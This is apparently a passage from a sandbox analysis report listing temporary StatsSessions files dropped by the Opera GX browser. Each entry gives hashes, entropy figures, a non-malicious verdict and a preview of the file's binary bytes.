                                                                                                                                                                                                              SHA-512:844109DF08EEE517917A841266DD54E383300A07054CAAD0C2DD2E849F3D5ADEA27C0A538C45B02A3E49E2056E5D4B407810D417DC4A4F4BB46C5660A21A867A
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XCDKDnzWLL7EsEdMPTCvUENcTeII7XLsClBpMDqU59nU=...........q...[......b.....=._...M..z...gM9 ..:,....v$.-.\jg.Y:p(!.....s%...#hz.+....>V6t.<.>......[..}.;E....R. .X.......&....).>gB.Dh?.o...g.o....&.E.{9.4....:H;..mY.p0.....1...BpkI..M[o..;..f.'...\!&..B...s..2O.b..t..zn&....J.......... ....@..8J./.p'..25..2.M....o.cY.\....x..\}$1...M...O.[...I.`.]m..\..n"Q....&..>..`@P..L~{bd.U.j.mLY.....@.......7.C.....\.L(.v...yk(......~.$....<.C&j.A.|.....Od.SY.&4n.w.....*...=u.[.A.?...fR..c..V..Vx..h...b)....B..0'.G..Q.,..:b.3*..X>.+T..,5d.!-....p...X..{2...1.>kaG.<.....W.!M...w..._.<.!...p..{.$.m........`....).W.*........j.XL..jNa".m.h.i.MC9@0[.'.F.L....6.,S.N8CL.\.Y..~...LX......0......m...T....f.P?,t.T..Mj1...Q&.{.s.\MMop}+.,....}]7..rv....Qe..>.rq2.9m...p..A..X..*.n.k."Y..f...%....~.tj..N.Z.p..-.Q.N/...R.....ba.Q...}..H.......JF.H.w.....<P...+T..XN,(....+D.6`..|...k.........U..'x.K........9.T...N3I......H...e.....]_S..V..ER....$!..c

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\137201dc-96a7-47e2-8f4d-76d0571a72f2.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\15a24fe9-cffa-4903-823e-655dec48d68b.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9422
                                                                                                                                                                                                              Entropy (8bit):7.979727976683384
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:1CE1F48072703F5B56CB63D4B5A8CA85
                                                                                                                                                                                                              SHA1:B5642D79C53D58E1D12FAC521316C6130C7EF75C
                                                                                                                                                                                                              SHA-256:64F290874082B3C40F61D50D7191A6A9ACF56B2F1EACBD08F834DEBF12147F72
                                                                                                                                                                                                              SHA-512:D83E9D02EB105989D3A94BFC060BB165C3EA7FD1E8C9A0A369381C64C54A6178E27F90F36BDE53FE3E8B19DE1254259BB7B4D83898734F78CEA717FE673F3295
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XjyHDh5NbPYBfTooKIuT9vjrVtmFJn0nfN+4u95B97vI=.........R.......K...z$..f?...u.....29X.............X..B.l.1d..%ap.0t.6EI.w.i...a.....4..7..]..o..cP^..o....[....K{.S.4._.{&.-...).uDG.c..x.5m....7...d..B..+.'T..\..].q6W%...B7.c.....&J...3"{...W'X.:..g..;.......!.O......q....%.#..Q+;...b.2.E....H.32w...j..;.'7.......(.K.)2..)m.5Y...A.e.K!J..^.+........?......@...Z:N..+....BO....7^XS.cv......m.E.....o....=...b......Q_...I./C....G..%........K..L/.......F.A6@.+3.p..8L.._s]..B:.$......-.;h..$tc.._'....F........At..c0.a..%w...[.S...{.w.a<.C05.W..@.g.....!...p`.N.g.t*f.%E.|.^.;.VW......5}......o..V..s.ps...p....|Z`.M'T......8...;8..._,..0z.;....{..m6v..%R:.u.5.2....c5...\..X.B.D...<..H..2.....j.^.... ...{i....d......fcpg.3%...G....x..tFo9r....y....!A.~.C..'.Q...p.V8.7...u...6....C.e.=.Q.....<yZT.I..j5..X..N.Z!.[A..O;[...q.i.4K.HH../&fQ...{*.h...yZZ..q......J2+.]........np[?..Q...0.~..PN....^..I..8.e.p'2..H.B....^...g.E..%Q....Q..\.s.j..9I.E.X0

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\180a0dc6-52ab-4b42-a455-824c0db24a52.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):7709
                                                                                                                                                                                                              Entropy (8bit):7.97599697377899
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:DBA38B8CBF62162FC250C6ED856CABA1
                                                                                                                                                                                                              SHA1:9680180F268B787E8BDE06D1B6E9537E8561BEC9
                                                                                                                                                                                                              SHA-256:4E911CB36F9C1A26CE6E916C4192DB5585D5F456A7FC7F0BF1359C59A2060B2B
                                                                                                                                                                                                              SHA-512:D77B42736B2C82C33C567FDF936A90FFD99AE3E664A3E0F89C158C2A09D074C76CE8CDD1C4CEF1A5B882D801769F48386FD1C38AB842F1FBEE07E649D66F5A47
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X4JgtT6pfC8eC8gZElfu81f8HFE7NIr6RJYS846zbavs=.....w+.d.....).....d<v..w.y=.\.m...j.......5#..........|........p...9{.....A.U....#..U...7...%.m..gg'rl.K.k2..R..j...+.2.../N..t.n..^.. Ay....y0....G7..-....}...=..`..A.=......g.b..T..'.n..IO6.1.LI....u.H....R....H.x....u...........'BB+<..2=...F".ktZ..G5H.p]zU..~.o....$'....+.. ...t..;y+I.....}....D}.S...l..P....p.i../..!..!*..T.OD..L.V.G1...;......yB....E.Z..+...p....2.+./!m.q..zF..6......4c@.-]L.@......x.....6Z.. .@G?.@.1w.. ........A..%f.0...p8.......cB.......dFcj..!......./...q...f.^x...o...lw..v..v..:=Wj.v.!I.O."....gh/g.'...$...2#.......Y....g.b..2....3B%........'....M.0&l.1. J+x.L..Y4.....J..oY....z......?Z...#...e<. ........V...~P...Y.gH.....Pl.j.B.D.f.r...w..[...3e.8...K.@5b......R.%.&.......l..(..S.%q.\......X.!QL3z...?.I".0A.q.'..k.3.....Sq9..Q<.J..i...Id.4...n..9DXc\.RN.3...@HxSv....O.L=#..>.t.Xxf4...P..&f.^...k.v...q2..........Ue.....i#.R..?CQ......?..=..m....K....V=?

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\180aaac2-3f5b-4eb5-ac36-4cc2ece2da9d.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8382
                                                                                                                                                                                                              Entropy (8bit):7.976766007556141
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F665E1909379D9CFB67A6EA514380319
                                                                                                                                                                                                              SHA1:DD0FEC6AB91D08CA7E94710B62AE2A2156850978
                                                                                                                                                                                                              SHA-256:DB4E057CF74F2ADC968A9BAB6D190E3F4C26740C1F12894A74F798C0CC59E49D
                                                                                                                                                                                                              SHA-512:CC01FD4E61B11CC82A5396ECD42A95C828773BC24C0534FDB18D0DFEF25095E503C706A46885E2660D2D4DC5C10B56561EAEE6F6C78F992AA49269604D0AEA5B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........Xwa1noKPmDjgxaoNtWYYORbtswEyyURd3AlFy6e1A104=.......$xMz..S..A#.....n|.u8.F..7......OCC....R.....y...........c.Y.;mI...f...z.X"...Ru.P.Y..wH....sz"=.0M}li.0Y"9q..r)w..V@4.|i.{.Y.={v......o]....Nn.._...r...R...W.e.d..U...j..."...Mw.4..F...aTl...U...xc.q..?..X...AZ.6.....n.....itP.u.......].O...O.....}...]4.Xv.u..........}...4"q......p..=.*S!&..Z...cd.......|.u..m.4%..w.<......hnQ..H`.s..$`4![_L0?..0.=..^g.w_%G%%...#..p|..P'.$W..xvg6.t;....Q,.1.;...[......"...jz...i..!..n.....K.;.......c.OoB.kb6.......@.<.......e.s..?..V.w,.M1U.......tCs...lV.m......I.......xi......l...lY.C;.I.|.....+W...X...mT..f.*...R.p..}-....xU......Z..a....E`QWx.f.=.......Y....`........j.>F...Fi.....D.;...Bv........3...)...``...w.9...t..h...r.#w..u..2.~..y.h.07...t....GT.7P......M.....vJ...z"......Z..$.F.....(....]....).1V.-.'.y;Dt...BQ.L.[f.q.J...}.N...s.".....'.%....~..r...?.{..K....]D....^Dg..........@.$.Y...Tr..;...e.ZoG......C.L>/...J...<."..ueO<.#]G.,.U.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\18e69e4d-d539-4560-b9ee-51a7997e9050.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2701
                                                                                                                                                                                                              Entropy (8bit):7.92935410715955
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:7D58996DFC3EC243F875469F77D91F94
                                                                                                                                                                                                              SHA1:B31B33C0977CA6958F7B8FDF9C68CD31E3D32744
                                                                                                                                                                                                              SHA-256:089CC4421AFBCEA32C0ECD44F9A8A79498153B3D24994C5AD43672F23F3B62E1
                                                                                                                                                                                                              SHA-512:92C37AD14C23DE0AA7712C030F2AB45BB003B25DBA2B6CC1A0244B68A1C8AED191E5F1D7B985DFB2597FCB75057445315E560BAEB0D9D900A1751FFEB30CD9DF
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XkGzPJeT8oCxOTbBf27yMb6s3Vc/2sOYv91kyr4BgUJ8=.....)8i...\..BS7y.F..ZS.......n...P.........+.C...DP3..Sm..7..g....m0......^cY.7....`.g.M..#x56...7(.-e.Y..p(...<.,*.a.m...h...].c.z.W.....6..29..h2d.F..:.BB....|..2..f.1.b9...E?#ogc@p.GM......O......Xi.....Z.............e.G.1<....k.i...j}.Y.-6X..D..zb....-LT..o....=.s.i3R.E......(....i......P...%...;.......J.q...|x..r5..b.!*qQ.Y......6..F0<+....K/...H.......l.|..}.o../vT..i..m\.e.U...k...:o{b...W?......)f?.7..v...GsF2.g....\.X.zO.F.C..rX.....KB..).N.....mr...@..r..M.G_.F.f...W......b.^..B.....>.O..wu..._'|<En....;{.......[........<.&...5D..|...@w.=z...3..%.#z..,?1&.....\..>.=....|...e..*'LE..~r.6.....Ngo.d...o....dT!...u....l~A^..*^o`....:...........J'..5.M...B...w.70\..n..O.b........uPN8..>f/..f2.%..K.m....V.....$.e{.xz.+..e.g.B..9...Ud.Y}!.......G{..7.......q.9(.[..PR.#..t..&..k..o.=+.8.......K....C.[Z.,.!..9+j".....R...Z....S.RV.P....F.$.tQt..W..~..U..i..S.........P@.to....>SC..M..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\1952f596-5dbe-4336-88ff-e1e812e32bbf.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9918
                                                                                                                                                                                                              Entropy (8bit):7.9810732531728
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:6891D499D5E2705D49150E72AD80A4A7
                                                                                                                                                                                                              SHA1:A45250E0DCD12B8AF2DED07854862E21279F5801
                                                                                                                                                                                                              SHA-256:B009D3B32C2CB98FE202514AC411D7F0680C23A2F9DF814D1A46E33D14111ADE
                                                                                                                                                                                                              SHA-512:08E189D3531C298521E680034123499AD1442EBEB777EF56E927AD8E3EA4F6243EE721A2D83E4165F9D654A33DF045E3453283D64792CB0174BC4E3EDA00B96C
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XZxs8t6k0cfHomgFw+PkfxXB/beb1PhgnkM/oamr9vkw=.........l..M....5>Q.h...wi. %..+. q.SD".q..l..+.u..C../.n.]^.<..c....wt..}...b>.g.!.R0.Y*T'..-#...s.....^..k.v..1,....;/.o.Y......f.~S.Y}... ........d.....m.;.S._.l.E...7..oH..Bc....>Px.7+$4..<e-8y.7. Bcjza.....~...!...n4.../.Gi..3Q....o@I.p....x..@....7..E.*......U)3...%...%.V..~./.......oV...=.s{....Tmy.SZ..Jby....FX.AI^Y.c9N0..X6.g....w....t.q...b.<O..6.I.pw:.........'...mow.}.....s}Z..w .}......Wr.n../b..........,..-..'.x...S.K...%DC..i..j.%.n.l.......7.K..tI.f....Dg..|".f..H\8....Ae._.t..n...^e..S.,...j...+.T..!.a..}..-.S..M...]..t[...B.q..g........C.fl.gl6..:.'mU]5....Z.......r....Z..7...O.O.c.HQ^...].%ne....c.Sl:.........]..[&..N...r...H4..E.D.......mnTH.......a<...M..k..ks..S....A~.F...7...y...2o.Y....-{.-D.G....[..s...V...?.a....Tx.4..8..$..,.(Cx{.D.L..x./.?.AG...G-c_.@1..b..*.8.P........4..+X.e^..H9....l.Y6d.s{iDd....MZ.8RW4.!......a9!R.I..E.1......-y..3.C..e.....t*..^....[.,`..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\1981553f-805d-404a-9a03-e546f511d0f7.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2797
                                                                                                                                                                                                              Entropy (8bit):7.932119576460345
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:A54533B4F30F51A1747CB37CF371581D
                                                                                                                                                                                                              SHA1:6E26EEBF6D6C18631FDBC35BDED4A26A2FB1C449
                                                                                                                                                                                                              SHA-256:E1966D3F242AF637CA5832F1BF7F901A53F3BD4E43021A885782FFCA98FE4EEB
                                                                                                                                                                                                              SHA-512:6D4AD28FE167CBC8DE8C28DBE2F958C5D815424983B773AC782A9F049A78A1BE7336FF485F287A354205A26DFF10DC6ADC65D2962723F2478733E4A8E4A78D30
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XI39z5jJGDwXRFq2Y/CFLj8J1jdLjL8mwqQj7q3ERKV0=.....*...#..+d.b.....B.%.H.^.\.QJ..+.......<].....J...n..K"..@&p.I.t.....>.....c....l.}..*>...P......c...]e..y..6Z1..t."......7.$A.\...m..>v.wu}..BE..ci.....>^t.e.....i/....B'...v.Z.8...dQVS.(tDp..(...|.$.....{...nh\\tzW..yc<..J%..Z..y.l....".......v...F.v.e.Cz...ZZ.Wm..xr.E..3.U..M..........RqG.sT...}.......V...{....$.8.U.OOM.6.$(..j.O.........#o..X.....3..6W.L.nS..6........*VIQS...+<.....a.|..}jAX_H@M.Z|.......+..f....e,{w....r........x.lkB/_.oF.:l..+....Q......-y.D.d0.2.......5.....].9...Q.3u.R(......,....-.l"..KN......_..b.%.A..*.?~2Es..(......?./q/:..B.X.g...}..}5}?C....)........v.@....~....W.}...5o.4:.'.?.N:...46 .x.a..`....=."..[....6.....\..I....9....K.I&.|........"l..C...X..R.:...vy.!R..:u.C....I.MjF7.p.W........h...;.....T..)c..K...M?...9...4. ,cl............a.L...p...U...5..Q.|...7y.4...0...w...S.9...Z...D..Xiu...R..9..RA.4.....fh.'.Jq..t..[....+....&..=...b".m.PQB.`g.n.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\1acceccf-f4ca-48f4-89e9-fdeba11f470a.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.982434005966221
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:1A59336E8E00B7A8A297D4E964C17C18
                                                                                                                                                                                                              SHA1:CA9FA8228400F652FCE94D10674FDB3EE7C6ACD0
                                                                                                                                                                                                              SHA-256:54604BD3CD9F05F5358B808B91AC5F6A6E1BA4836EA06B51BFCE5009B8560898
                                                                                                                                                                                                              SHA-512:FE412D90F904512BA7C52C7E36CD789A9953F1CAF05CF1D92CD83542B0E9C897B38B17B5D0BB63434064167A3FB712774C91FF2CB034D795BD547CD7CBB5F47E
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XhAslwfb79fjKZG32uK/iAwFi1sI6qvHkQx1c2oxdknw=..........<..#..qFQ.1Fi...P...W.d*.....b$;.Y.l...M.....\..../2.....s...3.9.d\k....t.?=.G....]4w.y{..|]./".fg.....,..g.......c..B..5.....Lf..A....N.9..}.._.2mj.. ....w.K.c.F.>....=.........-..........H...Y....K.*.z....XSp....C-.G..)>...U...U...H....#.R...H.y.Iyae0.c.. ..0..X.Y..H.i>Nn.pj....8...?U....b.GUm.z..t)Z].t. ...4.y.2..m.k.06X.~.5.&.2...>$FI..[...^..n6}`.....M..JU8..m....S.`.....>a..0.q.z0bG...`\*{..C_.e!/&77y..*...;.......2.y...,.t+....k.......=K.B..hZ.L....M.98.W.}.|...rF,....Wq..ux.d#.}PX..,..h.v5..m.EPw.......O.p..u....O......{..a.q8hGA.w..J.U.....M..z......%.S...aM25..rL.}..0Gi)..k\.M..~;.{.......(r.uTq...7.......{......?2...[YDm....{...1jV.=.s...hX.q..P.#ejt&..NU..m).@.7.q.U.KS..~.....;.P. .T_!..Y...}..\.ba.<... d..F..@.6.F`..K"vL..S...FJ9...<.t......Z.u.H....n...K..6P ..5.*Mc.............y...<..C.|..d.q..3^0r~{.T..|..[.z...|*...L..K..V.3L*..A.IO._..Y.......6..f6..Z%}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\1d100df6-9ddb-4cf5-95f8-3c8befe734fd.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):7229
                                                                                                                                                                                                              Entropy (8bit):7.975635529695911
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:2306C6AA09B3847C2B8A679A4DD89CF7
                                                                                                                                                                                                              SHA1:2FC4599D27A0B193DCF97B70EB3019CD5B97CBE2
                                                                                                                                                                                                              SHA-256:6A42C5F7195A8938DF5A65D658A9BFAD63B03B8894D7581D83A3E30A60B2B760
                                                                                                                                                                                                              SHA-512:86B998EE5B1ACFCDE8D4BDDDD207863EFA3B0E46F6DAD7E7960790215948A5B7330033C84EA4D3BF4E1EE0CFBB46C7A51A4E12D1170DC260C601F022407483FF
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........Xf0Ki/cjWr2No1CBpyzQmiG/SXK/KtgghcfMNjUXym5w=.....p.....M.>^....T.x..s..W.K.L.q9..&...p."~.u&.?G.....3.K!SE..QsS...B..(lk...h.)..q..@.....l~.'Kw.|...p..,C......0CQ.Ih..4.b5....'.H.%..B.vf.'..Q.3..Lg.6.9O.Q..L./..-.....@.O....7..w.....<.(..L...k.n.t0...G6:;.,.gk0.:..Z.le..j/..&...Y....0..T{.5.{...L{CN.C..[1iVhs........1.26d....X..:is..q+.`Z..y.&.T...9..#...AX.r./.W....A...hr.8"..oI)..<W8.U.......#..2.\..@.R&.r.lF..6O..........=..H.=......}....C.....;.-y..w=(v.j.M.1.$...e...m0.(..(G..j.ff..G.V.(..O...;<.....A.....ff.5\...S...TN.....V.:.D..B.p.......iu68..kH.[N$.+..J./.....C/.x]+'.?.....p.........v>..|.U...3.,.9..8&;!...8..../.d..+....g..#..........3...4....Hd....,8......S.*.......JWe.s...B. ...".6......o.-...Mkx.X..n.h...........eG..Q.k..h.W4s......v...P...CQ..e.N......WE.BXu+w...Z.E.g....A..ru...b........p.n...f..\#Y...D.k.&U ..X=.{Q....0{..`$7......:...W2.<XP...q7}v-.av5..?zA..1~,:.M.S..vy.tR..w.P...J,35g..,..!......J...p8....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\1d9184d5-d137-4d1f-8a74-45129825fc5f.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8382
                                                                                                                                                                                                              Entropy (8bit):7.978533078436697
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:D83888221DDDA2026322B6543A48BAAC
                                                                                                                                                                                                              SHA1:C122565C9C839466605861B863191E504536428C
                                                                                                                                                                                                              SHA-256:75476CD59816591EB0C6FE0B299A0E8C69BD43A806760E723E2B8BB5EDA2A61F
                                                                                                                                                                                                              SHA-512:B41DE80418544C24585EF6E11280BCF8B1D15E725A07B737878ABA047D44260FC0960D1D8FC5B8F6BB08D42E5C36D9195172DB3214E4ED8DF3766CEDBCF421F0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X9BsNCx6ujtvCn5fNDNYXiGG29zEw/VfbSK95W2T8r/A=.......".8.;.cIN..0._2.T..X..dP+..k........o.v"..s...}.MG+K..O.....Ti.......)......W....q.'..!.*.....K.5.2(.:....r..la...p4y.B....%..++.4.S..d:....mpXx6.....'..?.d\>.a...r..$./..F.~"N...1..eG..\~}/.)...Q.7....4oP.......Bw.1.GyMV}....8rZ{.S\../N.R...../..F...u.G........v. <...7$....7.J".pP.v.X.,.'/.c....X..g......E.h.dI...B.b.......1..V.H.~K=Z.P..}.mi....V6H.o.|.$.i..0.b..^..k.z......h~..~N..tzV..zs.8.9......u..K.?.....b3......g$|...;H...t._0!.FV.Fa8.{...M...)F<w.:...=....9.;&..jH..b^...aN..eC..F....!...<.h..4..?..NknN.....Y.h...w...%..$r....~_.$.Q.1M.t.e._.j..Q.......).'........I.....v....A.k..y.-...Y.C2.".A...v.."..(..Rq.o.....FV...T...\Hc{....k.~3.3..,...K .g21....EL@J>{Z...<...:...5..MK.O_.i..PJ.mI.iq.C...;C.dO.`%.....b.......-.....KU.V.l...!..zs......h.."..o.....1..]t..H_7..e....G.O..l......15;A.7f#. #.]U..T.y%..2...x/..Hc..O....Sxp.D...B)H..... .....,......`e.#^.......7s..TP..(

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\1e2e0bd2-938e-4a64-b796-d63052c5b26c.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8382
                                                                                                                                                                                                              Entropy (8bit):7.979479550342374
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:4227AB290EC407FE7A1A91A371CD6B7B
                                                                                                                                                                                                              SHA1:70BE392BE7AB7B73C28D4FB5B66A54B4A718A86C
                                                                                                                                                                                                              SHA-256:6E932C6615E731C4EBEB867C9645B914AD027CA3B6416A85E5572AD111BF1100
                                                                                                                                                                                                              SHA-512:FABCDD4346F5A171F05593323F92F704F37E6D5754BBFCDB012A282DF9EA538CA77A7B37E1501FB812FF129A5F9CC3A7CA7FA705B39CB2098CFF42A1A1F6FFD3
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X+WlV8INeFUJ3rfluYxlfBHDrBmND8qWXNpX3Hx9bWqk=.........a(.O.8./1|.=.~J.G....%7H..ke>u.l+XO'c....1..l....$.nS..U..^..e..o..$rB.....qj>sI.ED....=....oK9..$Cl......&Rp....=5..V..Z4..v..r=~..q.~.a!>2.V..d....b..n6g..kp.j;x.+%.. ..f_..U.o..m..H.D~o.......0.....7...%.D...,..'../.5......n$.......[...).....7,.+..*.Wj......HvW.^dcJ_.. .7...Y.@......%./....(h'...q.w...@..(|....:....g.4U2{c.P.%.6..yd*....0.f.\E.}^."FI.zf..s....j.Itl..0&.f0....0u.?B.2....-...). q...2..._....Z#}..Y).Q.N*.!.....3..cY....!.ME.+....Z.=x..c..R.K....Lc...9..-.........uE.7.[...nl....(G;ti.$&Kn.P.....&..D.I.s.N.q.}p..6...O.v.2.Iq.0ze5.=F@%~..\..5.fy"."f.........2..k..s.......;..:.KQG...a...p.'.(l|...@_.j.....'..*%..........r..H.h.;z(...=.#..._...._...&"S...=B...V..~..,...X...b-.V........S...O...>..b........az.MBWWC.fs...V...{...r.....m..I....`]...W....tU..kP....|.4...~+{..`..,.......ay.{..C.t.s.T.d1..O..h......"-B..=..=.W#{Q/.:..)G..h.V.......Y.....VX.....9...K....EH.l@

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\1ee7523e-c6d2-4111-afd2-38d383629085.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8382
                                                                                                                                                                                                              Entropy (8bit):7.978805908467559
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:24B389553B4E05042668A89E512165F2
                                                                                                                                                                                                              SHA1:CC10753523F8607EC20BBF875C33A1E9F151E07A
                                                                                                                                                                                                              SHA-256:540487BBC21F781AD3BD763B4887204F640517AE973E8BB28C48453876AAFE40
                                                                                                                                                                                                              SHA-512:2694505D01A9E90AD5ED446E515DCA33B21DB5A4A973747AF47BA9187C8D33362640373FBDB5CB581BE240DD8A330841E55B0CBA0EF82A6E293859B5A0854B9E
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
